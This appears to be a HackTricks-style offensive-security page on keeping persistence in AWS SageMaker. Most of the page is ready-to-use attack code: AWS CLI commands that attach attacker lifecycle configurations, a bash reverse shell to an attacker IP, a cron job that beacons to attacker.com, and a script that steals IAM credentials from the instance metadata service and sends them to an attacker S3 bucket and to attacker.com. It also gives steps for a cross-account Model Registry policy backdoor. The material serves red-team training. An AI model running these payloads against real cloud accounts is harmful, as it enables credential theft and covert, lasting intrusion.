Skip to content

README.md

Latest commit

 

History

History
236 lines (186 loc) · 8.92 KB

README.md

File metadata and controls

236 lines (186 loc) · 8.92 KB

AWS - SageMaker Persistence

{{#include ../../../../banners/hacktricks-training.md}}

Overview of Persistence Techniques

This section outlines methods for gaining persistence in SageMaker by abusing Lifecycle Configurations (LCCs), including reverse shells, cron jobs, credential theft via IMDS, and SSH backdoors. These scripts run with the instance’s IAM role and can persist across restarts. Most techniques require outbound network access, but usage of services on the AWS control plane can still allow success if the environment is in 'VPC-only" mode.

Tip

Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads.

Required Permissions

  • Notebook Instances:
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
  • Studio Applications:
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain

Set Lifecycle Configuration on Notebook Instances

Example AWS CLI Commands:

# Create Lifecycle Configuration*

aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)


# Attach Lifecycle Configuration to Notebook Instance*

aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc

Set Lifecycle Configuration on SageMaker Studio

Lifecycle Configurations can be attached at various levels and to different app types within SageMaker Studio.

Studio Domain Level (All Users)

# Create Studio Lifecycle Configuration*

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)


# Apply LCC to entire Studio Domain*

aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
    "JupyterServerAppSettings": {
        "DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
    }
}'

Studio Space Level (Individual or Shared Spaces)

# Update SageMaker Studio Space to attach LCC*

aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
    "JupyterServerAppSettings": {
        "DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
    }
}'

Types of Studio Application Lifecycle Configurations

Lifecycle configurations can be specifically applied to different SageMaker Studio application types:

  • JupyterServer: Runs scripts during Jupyter server startup, ideal for persistence mechanisms like reverse shells and cron jobs.
  • KernelGateway: Executes during kernel gateway app launch, useful for initial setup or persistent access.
  • CodeEditor: Applies to the Code Editor (Code-OSS), enabling scripts that execute upon the start of code editing sessions.

Example Command for Each Type:

JupyterServer

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)

KernelGateway

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)

CodeEditor

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)

Critical Info:

  • Attaching LCCs at the domain or space level impacts all users or applications within scope.
  • Requires higher permissions (sagemaker:UpdateDomain, sagemaker:UpdateSpace) typically more feasible at space than domain level.
  • Network-level controls (e.g., strict egress filtering) can prevent successful reverse shells or data exfiltration.

Reverse Shell via Lifecycle Configuration

SageMaker Lifecycle Configurations (LCCs) execute custom scripts when notebook instances start. An attacker with permissions can establish a persistent reverse shell.

Payload Example:

#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &

Cron Job Persistence via Lifecycle Configuration

An attacker can inject cron jobs through LCC scripts, ensuring periodic execution of malicious scripts or commands, enabling stealthy persistence.

Payload Example:

#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"

mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH

(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -

Credential Exfiltration via IMDS (v1 & v2)

Lifecycle configurations can query the Instance Metadata Service (IMDS) to retrieve IAM credentials and exfiltrate them to an attacker-controlled location.

Payload Example:

#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json

# Exfiltrate via S3*

aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json

# Alternatively, exfiltrate via HTTP POST*

curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload

Persistence via Model Registry resource policy (PutModelPackageGroupPolicy)

Abuse the resource-based policy on a SageMaker Model Package Group to grant an external principal cross-account rights (e.g., CreateModelPackage/Describe/List). This creates a durable backdoor that allows pushing poisoned model versions or reading model metadata/artifacts even if the attacker’s IAM user/role in the victim account is removed.

Required permissions

  • sagemaker:CreateModelPackageGroup
  • sagemaker:PutModelPackageGroupPolicy
  • sagemaker:GetModelPackageGroupPolicy

Steps (us-east-1)

# 1) Create a Model Package Group
REGION=${REGION:-us-east-1}
MPG=atk-mpg-$(date +%s)
aws sagemaker create-model-package-group \
  --region "$REGION" \
  --model-package-group-name "$MPG" \
  --model-package-group-description "Test backdoor"

# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
cat > /tmp/mpg-policy.json <<JSON
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowCrossAccountCreateDescribeList",
      "Effect": "Allow",
      "Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
      "Action": [
        "sagemaker:CreateModelPackage",
        "sagemaker:DescribeModelPackage",
        "sagemaker:DescribeModelPackageGroup",
        "sagemaker:ListModelPackages"
      ],
      "Resource": [
        "arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
        "arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
      ]
    }
  ]
}
JSON

# 3) Attach the policy to the group
aws sagemaker put-model-package-group-policy \
  --region "$REGION" \
  --model-package-group-name "$MPG" \
  --resource-policy "$(jq -c . /tmp/mpg-policy.json)"

# 4) Retrieve the policy (evidence)
aws sagemaker get-model-package-group-policy \
  --region "$REGION" \
  --model-package-group-name "$MPG" \
  --query ResourcePolicy --output text

Notes

  • For a real cross-account backdoor, scope Resource to the specific group ARN and use the attacker’s AWS account ID in Principal.
  • For end-to-end cross-account deployment or artifact reads, align S3/ECR/KMS grants with the attacker account.

Impact

  • Persistent cross-account control of a Model Registry group: attacker can publish malicious model versions or enumerate/read model metadata even after their IAM entities are removed in the victim account.

Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)

Abuse SageMaker Canvas user settings to silently redirect model registry writes to an attacker-controlled account by enabling ModelRegisterSettings and pointing CrossAccountModelRegisterRoleArn to an attacker role in another account.

Required permissions

  • sagemaker:UpdateUserProfile on the target UserProfile
  • Optional: sagemaker:CreateUserProfile on a Domain you control

{{#include ../../../../banners/hacktricks-training.md}}